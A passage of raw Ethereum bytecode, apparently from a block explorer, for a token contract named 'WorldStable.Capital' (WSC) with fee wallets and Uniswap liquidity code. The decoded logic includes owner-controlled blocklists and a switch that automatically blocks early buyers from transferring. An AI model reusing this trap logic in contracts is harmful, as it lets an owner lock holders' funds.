fffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601260039054906101000a900460ff1681565b601060149054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cc906132c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611745576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173c90613200565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118239190613300565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611897906132a0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611910576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611907906131c0565b60405180910390fd5b60008111611953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194a90613280565b60405180910390fd5b6004600b819055506007600c8190555061196b610bfe565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119d957506119a9610bfe565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e2557600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a825750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a8b57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b365750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b8c5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ba45750601260029054906101000a900460ff165b15611c5457601354811115611bb857600080fd5b42600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611c0357600080fd5b601e42611c109190613436565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611cff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d6b576004600b819055506007600c819055505b6000611d763061096a565b9050601260009054906101000a900460ff16158015611de35750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611dfb5750601260019054906101000a900460ff165b15611e2357611e09816120b8565b60004790506000811115611e2157611e2047611f4f565b5b505b505b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ec95750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ed257600080fd5b611edb826123b2565b611ee6838383612456565b505050565b6000838311158290611f33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f2a919061319e565b60405180910390fd5b5060008385611f429190613517565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611f9f60028461246690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611fca573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61201b60028461246690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612046573d6000803e3d6000fd5b5050565b6000600954821115612091576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612088906131e0565b60405180910390fd5b600061209b6124b0565b90506120b0818461246690919063ffffffff16565b915050919050565b6001601260006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612116577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156121445781602001602082028036833780820191505090505b5090503081600081518110612182577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561222457600080fd5b505afa158015612238573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061225c9190612c52565b81600181518110612296577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506122fd30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611665565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161236195949392919061331b565b600060405180830381600087803b15801561237b57600080fd5b505af115801561238f573d6000803e3d6000fd5b50505050506000601260006101000a81548160ff02191690831515021790555050565b601260039054906101000a900460ff161561243b576003601154121580156123dc5750602d601154125b1561243a576001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b6011600081548092919061244e90613620565b919050555050565b6124618383836124db565b505050565b60006124a883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506126a6565b905092915050565b60008060006124bd612709565b915091506124d4818361246690919063ffffffff16565b9250505090565b6000806000806000806124ed87612774565b95509550955095509550955061254b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127dc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125e085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061262c81612884565b6126368483612941565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126939190613300565b60405180910390a3505050505050505050565b600080831182906126ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126e4919061319e565b60405180910390fd5b50600083856126fc919061348c565b9050809150509392505050565b6000806000600954905060006b033b2e3c9fd0803ce800000090506127456b033b2e3c9fd0803ce800000060095461246690919063ffffffff16565b821015612767576009546b033b2e3c9fd0803ce8000000935093505050612770565b81819350935050505b9091565b60008060008060008060008060006127918a600b54600c5461297b565b92509250925060006127a16124b0565b905060008060006127b48e878787612a11565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061281e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611eeb565b905092915050565b60008082846128359190613436565b90508381101561287a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161287190613220565b60405180910390fd5b8091505092915050565b600061288e6124b0565b905060006128a58284612a9a90919063ffffffff16565b90506128f981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612956826009546127dc90919063ffffffff16565b60098190555061297181600a5461282690919063ffffffff16565b600a819055505050565b6000806000806129a76064612999888a612a9a90919063ffffffff16565b61246690919063ffffffff16565b905060006129d160646129c3888b612a9a90919063ffffffff16565b61246690919063ffffffff16565b905060006129fa826129ec858c6127dc90919063ffffffff16565b6127dc90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a2a8589612a9a90919063ffffffff16565b90506000612a418689612a9a90919063ffffffff16565b90506000612a588789612a9a90919063ffffffff16565b90506000612a8182612a7385876127dc90919063ffffffff16565b6127dc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612aad5760009050612b0f565b60008284612abb91906134bd565b9050828482612aca919061348c565b14612b0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0190613240565b60405180910390fd5b809150505b92915050565b6000612b28612b23846133b5565b613390565b90508083825260208201905082856020860282011115612b4757600080fd5b60005b85811015612b775781612b5d8882612b81565b845260208401935060208301925050600181019050612b4a565b5050509392505050565b600081359050612b90816139f4565b92915050565b600081519050612ba5816139f4565b92915050565b600082601f830112612bbc57600080fd5b8135612bcc848260208601612b15565b91505092915050565b600081359050612be481613a0b565b92915050565b600081519050612bf981613a0b565b92915050565b600081359050612c0e81613a22565b92915050565b600081519050612c2381613a22565b92915050565b600060208284031215612c3b57600080fd5b6000612c4984828501612b81565b91505092915050565b600060208284031215612c6457600080fd5b6000612c7284828501612b96565b91505092915050565b60008060408385031215612c8e57600080fd5b6000612c9c85828601612b81565b9250506020612cad85828601612b81565b9150509250929050565b600080600060608486031215612ccc57600080fd5b6000612cda86828701612b81565b9350506020612ceb86828701612b81565b9250506040612cfc86828701612bff565b9150509250925092565b60008060408385031215612d1957600080fd5b6000612d2785828601612b81565b9250506020612d3885828601612bff565b9150509250929050565b600060208284031215612d5457600080fd5b600082013567ffffffffffffffff811115612d6e57600080fd5b612d7a84828501612bab565b91505092915050565b600060208284031215612d9557600080fd5b6000612da384828501612bd5565b91505092915050565b600060208284031215612dbe57600080fd5b6000612dcc84828501612bea565b91505092915050565b600080600060608486031215612dea57600080fd5b6000612df886828701612c14565b9350506020612e0986828701612c14565b9250506040612e1a86828701612c14565b9150509250925092565b6000612e308383612e3c565b60208301905092915050565b612e458161354b565b82525050565b612e548161354b565b82525050565b6000612e65826133f1565b612e6f8185613414565b9350612e7a836133e1565b8060005b83811015612eab578151612e928882612e24565b9750612e9d83613407565b925050600181019050612e7e565b5085935050505092915050565b612ec18161355d565b82525050565b612ed081613569565b82525050565b612edf816135aa565b82525050565b6000612ef0826133fc565b612efa8185613425565b9350612f0a8185602086016135bc565b612f138161373f565b840191505092915050565b6000612f2b602383613425565b9150612f3682613750565b604082019050919050565b6000612f4e602a83613425565b9150612f598261379f565b604082019050919050565b6000612f71602283613425565b9150612f7c826137ee565b604082019050919050565b6000612f94601b83613425565b9150612f9f8261383d565b602082019050919050565b6000612fb7602183613425565b9150612fc282613866565b604082019050919050565b6000612fda602083613425565b9150612fe5826138b5565b602082019050919050565b6000612ffd602983613425565b9150613008826138de565b604082019050919050565b6000613020602583613425565b915061302b8261392d565b604082019050919050565b6000613043602483613425565b915061304e8261397c565b604082019050919050565b6000613066601783613425565b9150613071826139cb565b602082019050919050565b61308581613593565b82525050565b6130948161359d565b82525050565b60006020820190506130af6000830184612e4b565b92915050565b60006040820190506130ca6000830185612e4b565b6130d76020830184612e4b565b9392505050565b60006040820190506130f36000830185612e4b565b613100602083018461307c565b9392505050565b600060c08201905061311c6000830189612e4b565b613129602083018861307c565b6131366040830187612ed6565b6131436060830186612ed6565b6131506080830185612e4b565b61315d60a083018461307c565b979650505050505050565b600060208201905061317d6000830184612eb8565b92915050565b60006020820190506131986000830184612ec7565b92915050565b600060208201905081810360008301526131b88184612ee5565b905092915050565b600060208201905081810360008301526131d981612f1e565b9050919050565b600060208201905081810360008301526131f981612f41565b9050919050565b6000602082019050818103600083015261321981612f64565b9050919050565b6000602082019050818103600083015261323981612f87565b9050919050565b6000602082019050818103600083015261325981612faa565b9050919050565b6000602082019050818103600083015261327981612fcd565b9050919050565b6000602082019050818103600083015261329981612ff0565b9050919050565b600060208201905081810360008301526132b981613013565b9050919050565b600060208201905081810360008301526132d981613036565b9050919050565b600060208201905081810360008301526132f981613059565b9050919050565b6000602082019050613315600083018461307c565b92915050565b600060a082019050613330600083018861307c565b61333d6020830187612ed6565b818103604083015261334f8186612e5a565b905061335e6060830185612e4b565b61336b608083018461307c565b9695505050505050565b600060208201905061338a600083018461308b565b92915050565b600061339a6133ab565b90506133a682826135ef565b919050565b6000604051905090565b600067ffffffffffffffff8211156133d0576133cf613710565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061344182613593565b915061344c83613593565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613481576134806136b2565b5b828201905092915050565b600061349782613593565b91506134a283613593565b9250826134b2576134b16136e1565b5b828204905092915050565b60006134c882613593565b91506134d383613593565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561350c5761350b6136b2565b5b828202905092915050565b600061352282613593565b915061352d83613593565b9250828210156135405761353f6136b2565b5b828203905092915050565b600061355682613573565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135b582613593565b9050919050565b60005b838110156135da5780820151818401526020810190506135bf565b838111156135e9576000848401525b50505050565b6135f88261373f565b810181811067ffffffffffffffff8211171561361757613616613710565b5b80604052505050565b600061362b82613569565b91507f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561365e5761365d6136b2565b5b600182019050919050565b600061367482613593565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156136a7576136a66136b2565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6139fd8161354b565b8114613a0857600080fd5b50565b613a148161355d565b8114613a1f57600080fd5b50565b613a2b81613593565b8114613a3657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220497900529332ab51753a0af71b3ddd2e3dfaa4ec79be1c74ca2fe8d83fc4b8fa64736f6c63430008040033

Deployed Bytecode

0x60806040526004361061016a5760003560e01c8063715018a6116100d1578063b515566a1161008a578063d9feccd811610064578063d9feccd8146104fd578063dd62ed3e14610526578063e0d2d5cc14610563578063ffb54a991461058e57610171565b8063b515566a146104a6578063c3c8cd80146104cf578063c9567bf9146104e657610171565b8063715018a6146103aa5780638c94e05e146103c15780638da5cb5b146103ea57806395d89b4114610415578063985ef87314610440578063a9059cbb1461046957610171565b8063273123b711610123578063273123b7146102ae578063313ce567146102d757806349bd5a5e146103025780635932ead11461032d5780636fc3eaec1461035657806370a082311461036d57610171565b8063042972811461017657806306fdde03146101a1578063095ea7b3146101cc57806318160ddd14610209578063223b3b7a1461023457806323b872dd1461027157610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105b9565b6040516101989190613183565b60405180910390f35b3480156101ad57600080fd5b506101b66105bf565b6040516101c3919061319e565b60405180910390f35b3480156101d857600080fd5b506101f360048036038101906101ee9190612d06565b6105fc565b6040516102009190613168565b60405180910390f35b34801561021557600080fd5b5061021e61061a565b60405161022b9190613300565b60405180910390f35b34801561024057600080fd5b5061025b60048036038101906102569190612c29565b61062e565b6040516102689190613168565b60405180910390f35b34801561027d57600080fd5b5061029860048036038101906102939190612cb7565b61064e565b6040516102a59190613168565b60405180910390f35b3480156102ba57600080fd5b506102d560048036038101906102d09190612c29565b610727565b005b3480156102e357600080fd5b506102ec610817565b6040516102f99190613375565b60405180910390f35b34801561030e57600080fd5b50610317610820565b604051610324919061309a565b60405180910390f35b34801561033957600080fd5b50610354600480360381019061034f9190612d83565b610846565b005b34801561036257600080fd5b5061036b6108f8565b005b34801561037957600080fd5b50610394600480360381019061038f9190612c29565b61096a565b6040516103a19190613300565b60405180910390f35b3480156103b657600080fd5b506103bf6109bb565b005b3480156103cd57600080fd5b506103e860048036038101906103e39190612c29565b610b0e565b005b3480156103f657600080fd5b506103ff610bfe565b60405161040c919061309a565b60405180910390f35b34801561042157600080fd5b5061042a610c27565b604051610437919061319e565b60405180910390f35b34801561044c57600080fd5b5061046760048036038101906104629190612d42565b610c64565b005b34801561047557600080fd5b50610490600480360381019061048b9190612d06565b610db4565b60405161049d9190613168565b60405180910390f35b3480156104b257600080fd5b506104cd60048036038101906104c89190612d42565b610dd2565b005b3480156104db57600080fd5b506104e4610f22565b005b3480156104f257600080fd5b506104fb610f9c565b005b34801561050957600080fd5b50610524600480360381019061051f9190612d83565b6114fe565b005b34801561053257600080fd5b5061054d60048036038101906105489190612c7b565b6115b0565b60405161055a9190613300565b60405180910390f35b34801561056f57600080fd5b50610578611637565b6040516105859190613168565b60405180910390f35b34801561059a57600080fd5b506105a361164a565b6040516105b09190613168565b60405180910390f35b60115481565b60606040518060400160405280601381526020017f576f726c64537461626c652e4361706974616c00000000000000000000000000815250905090565b600061061061060961165d565b8484611665565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600061065b848484611830565b61071c8461066761165d565b61071785604051806060016040528060288152602001613a3a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106cd61165d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eeb9092919063ffffffff16565b611665565b600190509392505050565b61072f61165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b390613260565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61084e61165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d290613260565b60405180910390fd5b80601260026101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661093961165d565b73ffffffffffffffffffffffffffffffffffffffff161461095957600080fd5b600047905061096781611f4f565b50565b60006109b4600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461204a565b9050919050565b6109c361165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4790613260565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b1661165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ba3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9a90613260565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5753430000000000000000000000000000000000000000000000000000000000815250905090565b610c6c61165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf090613260565b60405180910390fd5b60005b8151811015610db057600160066000848481518110610d44577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610da890613669565b915050610cfc565b5050565b6000610dc8610dc161165d565b8484611830565b6001905092915050565b610dda61165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5e90613260565b60405180910390fd5b60005b8151811015610f1e57600160076000848481518110610eb2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f1690613669565b915050610e6a565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f6361165d565b73ffffffffffffffffffffffffffffffffffffffff1614610f8357600080fd5b6000610f8e3061096a565b9050610f99816120b8565b50565b610fa461165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611031576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102890613260565b60405180910390fd5b601060149054906101000a900460ff1615611081576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611078906132e0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061111430600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce8000000611665565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561115a57600080fd5b505afa15801561116e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111929190612c52565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156111f457600080fd5b505afa158015611208573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061122c9190612c52565b6040518363ffffffff1660e01b81526004016112499291906130b5565b602060405180830381600087803b15801561126357600080fd5b505af1158015611277573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061129b9190612c52565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113243061096a565b60008061132f610bfe565b426040518863ffffffff1660e01b815260040161135196959493929190613107565b6060604051808303818588803b15801561136a57600080fd5b505af115801561137e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906113a39190612dd5565b5050506001601260016101000a81548160ff0219169083151502179055506001601260026101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006013819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016114a89291906130de565b602060405180830381600087803b1580156114c257600080fd5b505af11580156114d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114fa9190612dac565b5050565b61150661165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611593576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158a90613260565b60405180910390fd5b80601260036101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601260039054906101000a900460ff1681565b601060149054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cc906132c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611745576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173c90613200565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118239190613300565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118a0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611897906132a0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611910576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611907906131c0565b60405180910390fd5b60008111611953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194a90613280565b60405180910390fd5b6004600b819055506007600c8190555061196b610bfe565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119d957506119a9610bfe565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e2557600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a825750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a8b57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b365750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b8c5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ba45750601260029054906101000a900460ff165b15611c5457601354811115611bb857600080fd5b42600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611c0357600080fd5b601e42611c109190613436565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601060009054906101000a900473fffff